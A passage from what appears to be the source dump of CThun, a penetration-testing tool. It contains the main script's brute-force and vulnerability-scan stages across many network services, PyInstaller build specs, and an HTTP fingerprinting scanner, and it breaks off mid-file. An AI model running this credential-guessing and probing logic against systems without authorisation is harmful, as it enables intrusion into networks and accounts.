t3 = time.time() 327 | 328 | from httpcheck.httpCheck import http_interface 329 | 330 | http_interface(portScan_result_list, timeout, pool, flagurl) 331 | t4 = time.time() 332 | logger.info("HttpCheck finish,time use : {}s".format(t4 - t3)) 333 | logger.info("----------------- HttpCheck Finish ---------------------") 334 | 335 | # 暴力破解 336 | if params.get("bruteforce"): 337 | bruteforce = params.get("bruteforce").get("run") 338 | if bruteforce is True: 339 | 340 | defaultdict = params.get("bruteforce").get("defaultdict") 341 | 342 | if params.get("bruteforce").get("users") == [] or params.get("bruteforce").get("users") is None: 343 | users = [] 344 | else: 345 | users = params.get("bruteforce").get("users") 346 | 347 | if params.get("bruteforce").get("passwords") == [] or params.get("bruteforce").get("passwords") is None: 348 | passwords = [] 349 | else: 350 | passwords = params.get("bruteforce").get("passwords") 351 | 352 | if params.get("bruteforce").get("hashes") == [] or params.get("bruteforce").get("hashes") is None: 353 | hashes = [] 354 | else: 355 | hashes = params.get("bruteforce").get("hashes") 356 | 357 | if params.get("bruteforce").get("sshkeys") == [] or params.get("bruteforce").get("sshkeys") is None: 358 | sshkeys = [] 359 | else: 360 | sshkeys = [] 361 | sshkeysstr = params.get("bruteforce").get("sshkeys") 362 | for onekey in sshkeysstr: 363 | sshkeys.append(os.path.join(work_path, onekey)) 364 | 365 | proto_list = [] 366 | proto_list_all = ['ftp', 'ssh', 'rdp', 'smb', 'mysql', 'mssql', 'redis', 'mongodb', 'memcached', 'vnc'] 367 | 368 | for proto in proto_list_all: 369 | raw_lines = params.get("bruteforce").get(proto) 370 | if raw_lines == [] or raw_lines is None: 371 | pass 372 | else: 373 | proto_list.append(proto) # 加入到列表,端口扫描结果也使用 374 | for line in raw_lines: 375 | manly_input_result = get_one_result(line.strip(), proto) 376 | portScan_result_list.extend(manly_input_result) 377 | 378 | if len(proto_list) > 0: 379 | t2 = time.time() 380 | logger.info("----------------- BruteForce Start -------------------") 381 | logger.info("Protocols: {}\tDefaultdict: {}".format(proto_list, defaultdict)) 382 | 383 | from bruteforce.bruteForce import bruteforce_interface 384 | 385 | bruteforce_interface( 386 | portScan_result_list=portScan_result_list, 387 | timeout=timeout, 388 | proto_list=proto_list, 389 | pool=pool, 390 | default_dict=defaultdict, 391 | users=users, 392 | passwords=passwords, 393 | hashes=hashes, 394 | ssh_keys=sshkeys, 395 | ) 396 | t3 = time.time() 397 | logger.info("BruteForce finish,time use : {} s".format(t3 - t2)) 398 | logger.info("----------------- BruteForce Finish --------------------") 399 | 400 | if params.get("vulscan"): 401 | vulscan = params.get("vulscan").get("run") 402 | if vulscan is True: 403 | proto_list = [] 404 | proto_list_all = ["smb", "http", "https"] 405 | for proto in proto_list_all: 406 | raw_lines = params.get("vulscan").get(proto) 407 | if raw_lines == [] or raw_lines is None: 408 | pass 409 | else: 410 | proto_list.append(proto) # 加入到列表,端口扫描结果也使用 411 | for line in raw_lines: 412 | manly_input_result = get_one_result(line.strip(), proto) 413 | portScan_result_list.extend(manly_input_result) 414 | 415 | if len(proto_list) > 0: 416 | logger.info("----------------- VulScan Start ---------------------") 417 | t3 = time.time() 418 | from vulscan.vulScan import vulscan_interface 419 | 420 | vulscan_interface(portScan_result_list=portScan_result_list, timeout=timeout, pool=pool) 421 | t4 = time.time() 422 | logger.info("Vulscan Scan finish,time use : {}s".format(t4 - t3)) 423 | logger.info("----------------- VulScan Finish --------------------") 424 | 425 | logger.info("----------------- Progrem Finish -----------------------\n\n") 426 | 427 | # 写入结束标志 428 | try: 429 | write_finish_flag() 430 | except Exception as e: 431 | print(e) 432 | pass 433 | -------------------------------------------------------------------------------- /cthun_linux.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python -*- 2 | 3 | block_cipher = None 4 | 5 | 6 | a = Analysis(['cthun.py'], 7 | pathex=['/root/CThun'], 8 | binaries=[], 9 | datas=[], 10 | hiddenimports=[ 11 | 'ssh2.agent', 12 | 'ssh2.pkey', 13 | 'ssh2.exceptions', 14 | 'ssh2.sftp', 15 | 'ssh2.sftp_handle', 16 | 'ssh2.channel', 17 | 'ssh2.listener', 18 | 'ssh2.statinfo', 19 | 'ssh2.knownhost', 20 | 'ssh2.error_codes', 21 | 'ssh2.fileinfo', 22 | 'ssh2.utils', 23 | 'ssh2.publickey' 24 | ], 25 | hookspath=[], 26 | runtime_hooks=[], 27 | excludes=[ 28 | "psycopg2", 29 | "_tkinter", 30 | "setuptools", 31 | "multiprocessing", 32 | ], 33 | win_no_prefer_redirects=False, 34 | win_private_assemblies=False, 35 | cipher=block_cipher, 36 | noarchive=False) 37 | pyz = PYZ(a.pure, a.zipped_data, 38 | cipher=block_cipher) 39 | exe = EXE(pyz, 40 | a.scripts, 41 | a.binaries, 42 | a.zipfiles, 43 | a.datas, 44 | [], 45 | name='cthun', 46 | debug=False, 47 | bootloader_ignore_signals=True, 48 | strip=True, 49 | upx=True, 50 | runtime_tmpdir=None, 51 | console=True ) 52 | -------------------------------------------------------------------------------- /cthun_win.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python -*- 2 | 3 | block_cipher = None 4 | 5 | 6 | a = Analysis(['cthun.py'], 7 | pathex=['C:\\Users\\Administrator.WIN7\\Desktop\\CThun'], 8 | binaries=[], 9 | datas=[], 10 | hiddenimports=[ 11 | 'ssh2.agent', 12 | 'ssh2.pkey', 13 | 'ssh2.exceptions', 14 | 'ssh2.sftp', 15 | 'ssh2.sftp_handle', 16 | 'ssh2.channel', 17 | 'ssh2.listener', 18 | 'ssh2.statinfo', 19 | 'ssh2.knownhost', 20 | 'ssh2.error_codes', 21 | 'ssh2.fileinfo', 22 | 'ssh2.utils', 23 | 'ssh2.publickey' 24 | ], 25 | hookspath=[], 26 | runtime_hooks=[], 27 | excludes=[ 28 | "psycopg2", 29 | "_tkinter", 30 | "setuptools", 31 | "multiprocessing", 32 | ], 33 | win_no_prefer_redirects=False, 34 | win_private_assemblies=False, 35 | cipher=block_cipher, 36 | noarchive=False) 37 | pyz = PYZ(a.pure, a.zipped_data, 38 | cipher=block_cipher) 39 | exe = EXE(pyz, 40 | a.scripts, 41 | a.binaries, 42 | a.zipfiles, 43 | a.datas, 44 | [], 45 | name='cthun', 46 | debug=False, 47 | bootloader_ignore_signals=True, 48 | strip=False, 49 | upx=True, 50 | runtime_tmpdir=None, 51 | console=True ) 52 | -------------------------------------------------------------------------------- /httpcheck/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : __init__.py.py 3 | # @Date : 2019/9/3 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | -------------------------------------------------------------------------------- /httpcheck/httpCheck.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : test.py 3 | # @Date : 2019/9/9 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | import logging 9 | 10 | import gevent 11 | import requests 12 | from bs4 import BeautifulSoup 13 | from gevent.monkey import patch_all 14 | 15 | from httpcheck.wappalyzer.wappalyzer import Wappalyzer, WebPage 16 | from lib.config import logger 17 | 18 | 19 | class HttpScanner(object): 20 | 21 | def __init__(self): 22 | self.wappalyzer = Wappalyzer.latest() 23 | self.headers = { 24 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', 25 | "Connection": "close", 26 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 27 | "Accept-Language": "zh-CN,zh;q=0.8", 28 | # 'Accept-Language': 'en-US,en;q=0.8', 29 | 'Accept-Encoding': 'gzip', 30 | } 31 | 32 | def check_website_alive(self, website=None): 33 | if website.startswith('https://') or website.startswith('http://'): 34 | entireUrl = website 35 | else: 36 | entireUrl = "http://{}".format(website) 37 | try: 38 | logging.captureWarnings(True) 39 | response = requests.get(entireUrl, 40 | verify=False, 41 | headers=self.headers, 42 | timeout=3 43 | ) 44 | response.encoding = response.apparent_encoding 45 | except Exception as E: 46 | return False, None 47 | return True, response 48 | 49 | def check_website_url(self, website=None, urls=[]): 50 | for url in urls: 51 | if website.startswith('https://') or website.startswith('http://'): 52 | entireUrl = "{}/{}".format(website, url) 53 | else: 54 | entireUrl = "http://{}/{}".format(website, url) 55 | try: 56 | logging.captureWarnings(True) 57 | response = requests.get(entireUrl, 58 | verify=False, 59 | headers=self.headers, 60 | timeout=3 61 | ) 62 | response.encoding = response.apparent_encoding 63 | except Exception as E: 64 | continue 65 | if response.ok: 66 | logger.warning("WebSite : {}".format(website)) 67 | logger.warning("StatusCode: {}".format(response.status_code)) 68 | logger.warning("Url : {}".format(url)) 69 | logger.warning("Maybe this is your target !!!") 70 | logger.warning("----------------------------------------------") 71 | 72 | def logger_website(self, portScan_result, website, title, wappalyzer_list, response): 73 | tech_list = [] 74 | for one in wappalyzer_list: 75 | tech_list.append("{}:{}".format(one.get("name"), one.get("version"))) 76 | try: 77 | vendorproductname = portScan_result.get("data").get("versioninfo").get("vendorproductname")[0] 78 | if len(portScan_result.get("data").get("versioninfo").get("version")) > 0: 79 | version = portScan_result.get("data").get("versioninfo").get("version")[0] 80 | else: 81 | version = None 82 | tech_list.append("{}:{}".format(vendorproductname, version)) 83 | except Exception as E: 84 | pass 85 | 86 | logger.warning("WebSite : {}".format(website)) 87 | logger.warning("StatusCode: {}".format(response.status_code)) 88 | logger.warning("Title : {}".format(title.encode("utf-8"))) 89 | logger.warning("Tech : {}".format(tech_list)) 90 | logger.warning("----------------------------------------------") 91 | 92 | # ssl/http http 93 | def scan(self, portScan_result, http_scan_urls): 94 | # 处理头 95 | if portScan_result.get("service") == "http": 96 | website = "http://{}:{}".format(portScan_result.get("ipaddress"), portScan_result.get("port")) 97 | elif portScan_result.get("service") == "ssl/http" or portScan_result.get("service") == "https": 98 | website = "https://{}:{}".format(portScan_result.get("ipaddress"), portScan_result.get("port")) 99 | else: 100 | return 101 | flag, response = self.check_website_alive(website) 102 | if flag is not True: 103 | return 104 | # url check 105 | if len(http_scan_urls) > 0: 106 | self.check_website_url(website, http_scan_urls) 107 | # 解析title 108 | wappalyzer_list = [] 109 | title = "" 110 | try: 111 | parsed_html = BeautifulSoup(response.text, 'html.parser') 112 | rew_title = parsed_html.find_all('title') 113 | title = rew_title[0].text 114 | try: 115 | webpage = WebPage(response) 116 | wappalyzer_list = self.wappalyzer.analyze_with_categories(webpage) 117 | except Exception as E: 118 | pass 119 | except Exception as E: 120 | pass 121 | self.logger_website(portScan_result=portScan_result, website=website, title=title, 122 | wappalyzer_list=wappalyzer_list, response=response) 123 | 124 | 125 | def http_interface(portScan_result_list, timeout, pool, http_scan_urls=[]): 126 | patch_all() 127 | httpScanner = HttpScanner() 128 | tasks = [] 129 | pool = pool 130 | for portScan_result in portScan_result_list: 131 | if portScan_result.get("service") in ["http", "ssl/http", "https"]: 132 | task = pool.spawn(httpScanner.scan, portScan_result, http_scan_urls) 133 | tasks.append(task) 134 | gevent.joinall(tasks) 135 | -------------------------------------------------------------------------------- /httpcheck/wappalyzer/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : __init__.py.py 3 | # @Date : 2019/5/29 4 | # @Desc : 5 | # @license : Copyright(C), 360 6 | # @Author: zhaochengyu 7 | # @Contact : zhaochengyu@360.net 8 | -------------------------------------------------------------------------------- /httpcheck/wappalyzer/wappalyzer.py: -------------------------------------------------------------------------------- 1 | import json 2 | import logging 3 | import re 4 | import warnings 5 | 6 | import requests 7 | from bs4 import BeautifulSoup 8 | 9 | logger = logging.getLogger(name=__name__) 10 | 11 | 12 | class WappalyzerError(Exception): 13 | """ 14 | Raised for fatal Wappalyzer errors. 15 | """ 16 | pass 17 | 18 | 19 | class WebPage(object): 20 | """ 21 | Simple representation of a web page, decoupled 22 | from any particular HTTP library's API. 23 | """ 24 | 25 | def __init__(self, response): 26 | """ 27 | Initialize a new WebPage object. 28 | 29 | Parameters 30 | ---------- 31 | 32 | url : str 33 | The web page URL. 34 | html : str 35 | The web page content (HTML) 36 | headers : dict 37 | The HTTP response headers 38 | """ 39 | 40 | self.url = response.url 41 | self.html = response.text 42 | self.headers = response.headers 43 | self.cookies = response.cookies 44 | try: 45 | self.headers.keys() 46 | except AttributeError: 47 | raise ValueError("Headers must be a dictionary-like object") 48 | 49 | self._parse_html() 50 | 51 | def _parse_html(self): 52 | """ 53 | Parse the HTML with BeautifulSoup to find